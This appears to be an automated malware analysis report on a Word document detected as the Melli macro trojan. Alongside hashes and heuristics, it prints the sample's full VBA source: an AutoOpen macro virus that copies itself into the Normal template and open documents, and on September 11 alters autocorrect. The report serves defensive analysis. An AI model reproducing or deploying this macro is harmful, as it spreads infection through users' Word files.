Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3703a5e7e086687c…

MALICIOUS

Office (OLE)

27.0 KB Created: 1980-01-11 05:28:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2b3b478b17cb40a934e860b2413cd697 SHA-1: 1430573a4b2b7432c05c616bceaccb0217d37a04 SHA-256: 3703a5e7e086687c656345ab5ac9a67e687d421806e69d7b215ebbddb7749f66
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro that executes an AutoOpen subroutine. This macro attempts to export a DLL file named 'Melli.dll' to the 'c:\' directory. It also includes logic to potentially modify autocorrect entries, specifically changing 'and' to 'Melli' on September 11th, which could be a form of obfuscation or a specific campaign indicator. The presence of the AutoOpen macro and the export of a DLL strongly suggest this document is intended to deliver a secondary payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Melli-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Melli-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1098 bytes
SHA-256: a81d7676b044e25b378cb20c391312205709120070f58fe30b67655d5ccef599
Detection
ClamAV: Doc.Trojan.Melli-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Melli"
Sub AutoOpen()
On Error Resume Next
If NormalTemplate.VBProject.VBComponents.Item("Melli").Name <> "Melli" Then
NotInNorm = True
ActiveDocument.VBProject.VBComponents("Melli").Export "c:\Melli.dll"
Set Dobj = NormalTemplate.VBProject
ElseIf ActiveDocument.VBProject.VBComponents.Item("Melli").Name <> "Melli" Then
NotInActiv = True
NormalTemplate.VBProject.VBComponents("Melli").Export "c:\Melli.dll"
Set Dobj = ActiveDocument.VBProject
End If
If NotInNorm = True Or NotInActiv = True Then Dobj.VBComponents.Import ("c:\Melli.dll")
If NotInActiv = True Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument

If Day(Now()) = 11 And Month(Now()) = 9 Then
    AutoCorrect.Entries.Add Name:="and", Value:="Melli"
    AutoCorrect.ReplaceText = True
 End If

End Sub

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